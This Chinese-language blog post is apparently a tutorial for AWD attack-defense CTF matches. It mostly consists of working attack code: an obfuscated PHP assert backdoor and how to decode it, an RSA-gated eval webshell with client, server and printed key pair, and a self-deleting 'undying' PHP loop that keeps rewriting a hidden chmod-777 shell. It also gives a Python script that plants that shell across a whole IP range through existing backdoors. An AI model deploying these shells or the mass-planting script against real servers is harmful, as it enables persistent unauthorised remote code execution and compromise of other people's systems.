背景
最近在学习AWD线下比赛方法,对于萌新来说学习到了很多,也好好研究了一番,尤其是针对RSA非对称加密结合不死马,但是网上的文章对于RSA木马只有服务端的代码,没有客户端,并且如何利用并没有详细说明,所以在此研究分享给广大的WEB入门选手们,师傅们轻喷。
1.webshell分析学习
1.1前置知识
首先了解chmod命令的基本用法,方便快速更改网站的文件权限以及webshell的权限:
Linux/Unix 的文件调用权限分为三级 : 文件拥有者、群组、其他。利用 chmod 可以用来控制文件如何被他人所调用。
比如如上图所示,对应的第一位指的是该当前文件是否是目录,第一到第四位代表文件的拥有者,也就是创建该文件的人,比如我创建一个test文件夹,此时文件的拥有者将对文件有读写执行的权限,当前用户所在的组也对该文件夹有读写执行的权限,其他对其有读和执行的权限。
我们通过以下php代码测试如下所示:
<?php
system('whoami');
?>
当在浏览器中我们访问如下所示,显示当前用户权限为www-data
当我们以命令行运行shell1.php时,会如下图所示:
当我们以root身份运行时:
由上面三种情况可以看到,当运行此php文件的用户为谁,就会返回当前用户的身份。
而通常情况下,我们在本机测试时,apache服务器的html文件夹其他用户是没有写的权限的,只能够读和运行此文件夹中的文件。而通常在比赛中我们的html文件夹的所有者为www-data或者ctf,并且other用户可以通过shell在html下写文件。而在比赛中,我们通常要给我们的不死马写文件的权限。
1.2AWD中预置webshell分类
比赛中通常webshell分为代码执行和命令执行两种,比如最常见的就是以eval()函数assert()函数为首的代码执行函数或者以system()函数为首的命令执行函数。Awd模式下面,比赛主办方有时候会预留下后门,那么就分为以上两种一句话,或者是更为复杂一点的变种木马,可能需要我们静态分析,通过var_dump()函数分析出后门的使用方法。以下以代码执行后门为例加以说明,通常在比赛中我们也会遇到。
<?php
class Foo
{
function Variable($c)
{
$name = 'Bar';
$b=$this->$name();
$b($c);
}
function Bar()
{
$__='a';
$a1=$__;
$__++;$__++;$__++;$__++;
$a2=$__;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$a3=$__++;
$a4=$__++;
$a5=$__;
$a=$a1.$a4.$a4.$a2.$a3.$a5;
return $a;
}
}
function variable(){
$_='A';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$b1=$_++;
$b2=$_;
$_++;$_++;$_++;
$b3=$_++;
$b4=$_;
$b='_'.$b2.$b1.$b3.$b4;
return $b;
}
$foo = new Foo();
$funcname = "Variable";
$bb=${variable()}[variable()];
$foo->$funcname($bb);
我们通过var_dump()函数很快就能拼接出最终的一句话后门assert($_POST[_POST]),拼接出来需要验证一下,如果执行成功后面就可以一把梭了,接下来就开始构造RSA木马
2.AWD中RSA不死木马进行权限维持
预留的后门很快就会被人删除,所以最好可以先利用预置后门拿一次flag,因为不管用户是什么权限读flag的权限还是足够的,此时如果是eval类型的后门,可以利用file_get_contents函数来读取flag,如果是system类型的后门可以利用cat来读取flag。当然网上也有文章讲用md5哈希身份验证+隐藏文件+不死马+打混淆流量来进行权限维持,以便于快速在其他队伍的服务器上种植木马,并且保证自己的木马不被别人使用。但是只要对手有足够的分析能力,总是能够通过窃听流量来利用我们在别人机器上种植的木马,有时候打得比我们自己还厉害。那么基于RSA非对称加密的木马非常有必要了,在比赛中也遇到过,但是网上分析RSA木马和构造自己的RSA木马的文章较为简略,因此有了下文:
2.1设计思想:
被攻击者,简称b,也就是其他队伍的服务器上有带公钥的后门,我们自己的服务器上有私钥,通过我们用私钥加密payload发送到后门,b端用公钥进行payload的解密,然后再将payload的执行结果返回,此时我们就可以美滋滋地获取flag。
我们利用openssl生成公私钥对:
公钥:
私钥:
有了私钥和公钥以后,我们就可以构造服务端木马以及客户端控制
2.2木马配置:
我们现在本地测试客户端与服务端,我们的目标是通过python脚本发送payload给我们自己服务器上的RSA客户端用私钥进行payload 的加密,然后再将返回的加密payload发送到对手的服务器上的RSA服务端,进行公钥解密再执行返回结果,这样即使对手能够看到公钥,但是没有私钥去加密payload就没有办法利用该RSA木马,下面贴出服务端和客户端的代码配置:
客户端代码:
<?php
class Rsa {
private static $PRIVATE_KEY = '-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCrFxyAYGqDE9OR3CNPEjGpQDAcIcsc9ZG/2HPgzHsME8n45x1y
P75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6R24LZij0zixRz+mBU/xac+dJ
HIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry54iX4iJ1PVODtw/BZbQIDAQAB
AoGADC0A4kH6Uom+rMq12JK65gijY90jz1PKo5SL6puixiFCZmxMNC1FJZjzlE0p
j7YTm/rjBHCzK7gETpU2RMudUitgsXnwWD9BY2xfcJzukdDYCrgJCuqgGuZ+4D9J
sAWcWmGDpXXVnvROvJF6Yz4230DN754Af+B6vOsRsK+FhSECQQDZwv7iPnPcG9Pr
Ac8T+KMBex0XbEk4Lh4cRuQN224zkdVEkAsldWcWNBQuUeGXgseywz2xcO0GH238
zjc364gXAkEAySIabW3TR6f8kHTiqKo9pBO0y15LqAHGwQckXkfuibzCxM36pj/p
WVcRZy2WcFrnXjj3zXZecopRb9x/Jx9ZGwJBAJ/t+kwnGehZ97XtSiycuvrndGIz
gULle+/AkNUshy8Qt9T3BXipVOCVtwydzlT8E7ZSdgjPqwSIKLs2qI9FSFkCQEW3
8Ysu/4aeHzj/mzW11SoTvp6j7/urqfZtAFlB+9h4uta3Q4PvMXbLbHfkYHpPuFV7
z8HDnxd7BKGOv/CSuDMCQEAEJukly0GbEX8VZxFJ5/Ki3m2toGTD1CePObwW1DaS
dmNxKgsScUdcVw0WUVRL4KV4C2XLib6M9hjwqer0OQM=
-----END RSA PRIVATE KEY-----';
private static function getPrivateKey()
{
$privKey = self::$PRIVATE_KEY;
return openssl_pkey_get_private($privKey);
}
public static function privEncrypt($data = '')
{
if (!is_string($data)) {
return null;
}
return openssl_private_encrypt($data,$encrypted,self::getPrivateKey()) ? base64_encode($encrypted) : null;
}
}
$rsa = new Rsa();
$cmd = $_POST['cmd'];
$action = "enc";
if($action!==Null){
if($action==="enc"){
$privEncrypt = $rsa->privEncrypt($cmd);
echo $privEncrypt;
}
}
服务端代码:
<?php
class Rsa {
private static $PUBLIC_KEY= '-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY-----
';
private static function getPublicKey()
{
$publicKey = self::$PUBLIC_KEY;
return openssl_pkey_get_public($publicKey);
}
public static function publicDecrypt($encrypted = '')
{
if (!is_string($encrypted)) {
return null;
}
return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
}
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);
本地测试exp:
import requests
import base64
url = "http://127.0.0.1//rsa_client.php"
payload = "system('whoami');"
res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
enc = res.content
url1 = "http://127.0.0.1/rsa_server.php"
payload1 = enc
res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)
由上图可以看到配置的服务端和客户端代码能够正常加密解密,接下来只要和不死马结合起来就可以了,贴上一个通用的批量种植木马框架:
import requests
import base64
def no_die(ip_start,ip_end,shell_addr,shell_pass):
ips=open("keep_continue_ip_list.txt","w")
filename="no_die.php" #不死马的路径
f= open(filename,'r')
php = f.read()
php = base64.b64encode(php.encode("ascii"))
php = php.decode("ascii")
url = ".".join(ip_start.split(".")[0:3])
ip_start = int(ip_start.split(".")[-1])
ip_end = int(ip_end.split(".")[-1])
shell = shell_addr #主办方提供的后门地址
passwd = shell_pass #后门密码
data = {passwd:"file_put_contents(\".config.php\",base64_decode(\"" + php + "\"));"}
for i in range(ip_start,ip_end):
try:
url1 = "http://"+url + "."+str(i) + shell
print(url1)
attack = requests.post(url=url1,data=data,timeout=1)
if(attack.status_code == 200):
url1 = "http://"+url + "."+ str(i) +"/.config.php"
try:
requests.get(url=url1,timeout=0.1)
except:
pass
url1 = "http://"+url + "."+ str(i) +"/.config.php"
active = requests.get(url=url1,timeout=1)
if(active.status_code==200):
ips.write(url+"."+str(i)+"----"+"success")
ips.write("\n")
else:
print("sorry the file is not exist!")
except:
print(url1+"-----error")
#no_die("192.168.0.2","192.168.0.254","/backdoor.php","c")
#生成的不死马地址为http://x.x.x.x/.config.php
def use_rsa():
url = "http://127.0.0.1/rsa_client.php"
payload = "system('whoami');" #此处的payload可以任意更改
res = requests.post(url=url,data={"cmd":payload,"action":"enc"})
enc = res.content
url1 = "http://127.0.0.1/.rsa_server.php" #此处为不死马循环写入的RSA服务端,用来返回flag
payload1 = enc
res1 = requests.post(url=url1,data={"cmd":payload1})
print(res1.content)
其中不死马的内容如下:
no_die.php
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
$shell='<?php
class Rsa {private static $PUBLIC_KEY= "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrFxyAYGqDE9OR3CNPEjGpQDAc
Icsc9ZG/2HPgzHsME8n45x1yP75Ki0MIYj4uhoygoYlnZPk3gKj60GdM8oD7hvL6
R24LZij0zixRz+mBU/xac+dJHIK/5xAMtnQeyWcu+QMSLArDln9Wxp7nmONA1Ry5
4iX4iJ1PVODtw/BZbQIDAQAB
-----END PUBLIC KEY-----
";
private static function getPublicKey()
{
$publicKey = self::$PUBLIC_KEY;
return openssl_pkey_get_public($publicKey);
}
public static function publicDecrypt($encrypted = "")
{
if (!is_string($encrypted)) {
return null;
}
return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
}
}
$cmd=$_POST[cmd];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);'
;
while(1){
file_put_contents('.rsa_server.php',$shell);
system('chmod 777 .rsa_server.php');
}
?>